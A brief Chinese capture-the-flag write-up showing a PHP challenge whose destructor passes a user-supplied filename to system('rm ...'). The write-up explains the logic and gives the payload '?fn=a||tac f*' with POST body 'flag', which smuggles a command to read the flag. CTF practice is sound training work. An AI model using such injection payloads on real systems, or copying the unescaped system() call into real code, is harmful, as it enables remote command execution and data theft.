源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
思路
这题的关键点在于$evilfile为true或者为false,
如果为true的话,就会执行
//可以通过拼接逃逸出来
if($this->evilfile){
system('rm '.$this->filename);
}
如果为false的话,就会执行
if($f->checkevil()===false){
//写入文件内容
file_put_contents($_GET['fn'], $content);
//复制文件,生成的新文件名进行md5加密+随机数
copy($_GET['fn'],md5(mt_rand()).'.txt');
//删除原来的文件
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
很显然,只要为ture就能很轻松rce
题解
GET: ?fn=a||tac f*
POST: flag
总结
水题